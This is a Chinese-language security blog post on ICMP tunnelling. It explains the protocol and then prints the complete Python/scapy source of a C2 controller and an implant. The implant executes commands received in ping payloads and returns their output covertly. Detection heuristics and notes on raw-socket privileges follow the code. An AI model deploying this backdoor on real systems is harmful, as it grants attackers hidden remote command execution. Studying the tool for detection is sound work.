一. ICMP协议格式 ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。
注意,ICMP是是TCP/IP协议的一部分,属于网络层的协议(TCP/UDP是传输层在第4层,ICMP是第3层),而且是一种无连接的协议(参考UDP,直接发数据包)。
ICMP协议格式如下:
报文类型如下:
二. ICMP隧道原理 利用ICMP的请求和应答数据包,将可选数据部分填充为控制指令或返回信息。
三. 工具演示 工具为python+scapy(winpcap,win版的wireshark用的也是它)。 下载地址 https://github.com/krabelize/icmpdoor
控制端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from scapy.all import sr,IP,ICMP,Raw,snifffrom multiprocessing import Processimport argparseICMP_ID = int (13170 ) TTL = int (64 ) def check_scapy (): try : from scapy.all import sr,IP,ICMP,Raw,sniff except ImportError: print("Install the Py3 scapy module" ) parser = argparse.ArgumentParser() parser.add_argument('-i' , '--interface' , type =str , required=True , help ="Listener (virtual) Network Interface (e.g. eth0)" ) parser.add_argument('-d' , '--destination_ip' , type =str , required=True , help ="Destination IP address" ) args = parser.parse_args() def sniffer (): sniff(iface=args.interface, prn=shell, filter ="icmp" , store="0" ) def shell (pkt ): if pkt[IP].src == args.destination_ip and pkt[ICMP].type == 0 and pkt[ICMP].id == ICMP_ID and pkt[Raw].load: icmppacket = (pkt[Raw].load).decode('utf-8' , errors='ignore' ).replace('\n' ,'' ) print(icmppacket) else : pass def main (): sniffing = Process(target=sniffer) sniffing.start() print("[+]ICMP C2 started!" ) while True : icmpshell = input ("shell: " ) if icmpshell == 'exit' : print("[+]Stopping ICMP C2..." ) sniffing.terminate() break elif icmpshell == '' : pass else : payload = (IP(dst=args.destination_ip, ttl=TTL)/ICMP(type =8 ,id =ICMP_ID)/Raw(load=icmpshell)) sr(payload, timeout=0 , verbose=0 ) sniffing.join() if __name__ == "__main__" : main()
被控端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from scapy.all import sr,IP,ICMP,Raw,sniffimport argparseimport osICMP_ID = int (13170 ) TTL = int (64 ) def check_scapy (): try : from scapy.all import sr,IP,ICMP,Raw,sniff except ImportError: print("Install the Py3 scapy module" ) parser = argparse.ArgumentParser() parser.add_argument('-i' , '--interface' , type =str , required=True , help ="(Virtual) Network Interface (e.g. eth0)" ) parser.add_argument('-d' , '--destination_ip' , type =str , required=True , help ="Destination IP address" ) args = parser.parse_args() def icmpshell (pkt ): if pkt[IP].src == args.destination_ip and pkt[ICMP].type == 8 and pkt[ICMP].id == ICMP_ID and pkt[Raw].load: icmppaket = (pkt[Raw].load).decode('utf-8' , errors='ignore' ) payload = os.popen(icmppaket).readlines() icmppacket = (IP(dst=args.destination_ip, ttl=TTL)/ICMP(type =0 , id =ICMP_ID)/Raw(load=payload)) sr(icmppacket, timeout=0 , verbose=0 ) else : pass print("[+]ICMP listener started!" ) sniff(iface=args.interface, prn=icmpshell, filter ="icmp" , store="0" )
运行效果如下:
隧道流量抓包:
正常流量抓包:
四. 检测方法
数据包之间的时间间隔,正常ping命令产生的数据包,时间间隔固定,ICMP隧道工具的时间间隔不固定;
数据包大小,正常的固定,隧道的不固定;
响应包内容,正常的数据包,请求包与相应包内容一致,隧道的根据不同的指令会返回不同的内容。
五. 复现时想到的一些问题
工具的优劣势 说实话没发现有啥优势,终端上一般自带的杀软或防火墙默认关闭ping响应,服务器网段可能还有用武之地; 劣势更多,不稳定,协议内容简单,要想实现稳定传输还要再对数据封装,参考UDP模拟TCP。 还有一个原因也很重要,使用ICMP隧道需要管理员权限。 为什么需要管理员权限? 根据协议图可知,ICMP协议是比TCP、UDP更低一层的协议,开发时设置socket的参数为原始套接字,与TCP、UDP不一样,参数为SOCK_RAW :
1 2 3 4 5 6 7 sockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (sockRaw == INVALID_SOCKET) { printf ("WSASocket() failed: %d \n" , WSAGetLastError()); return -1 ; }
MSDN上关于原始套接字SOCK_RAW 的解释:
Raw sockets offer the capability to manipulate the underlying transport, so they can be used for malicious purposes that pose a security threat. Therefore, only members of the Administrators group can create sockets of type SOCK_RAW on Windows 2000 and later. 原始套接字提供了操纵底层传输的能力,因此它们可用于构成安全威胁的恶意目的。 因此,只有管理员组的成员才能在 Windows 2000 和更高版本上创建 SOCK_RAW 类型的套接字。
演示的工具也验证了这一点,Win10下非管理员启动被控制端会报错,Kali也需要sudo才可以运行:
对于使用ICMP协议的进程,如何定位? 很遗憾,没找到方法可以定位。从协议的角度来说,ICMP是处理设备与设备间的通信情况,不涉及具体进程。
同样使用ICMP协议的ping.exe为什么不需要管理员权限? Windows上,ping.exe没有直接使用原始套接字,而是使用的iphlpapi.dll 中的IcmpSendEcho2Ex 函数,只能发送正常的ICMP数据包;Linux上ping的做法(摘自知乎):
注意icmp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
这种写法是Linux特有的,Windows上这么写socket
会返回失败。
参考资料:
https://baike.baidu.com/item/ICMP
https://www.freebuf.com/articles/web/289357.html
https://docs.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2
https://www.zhihu.com/question/20057415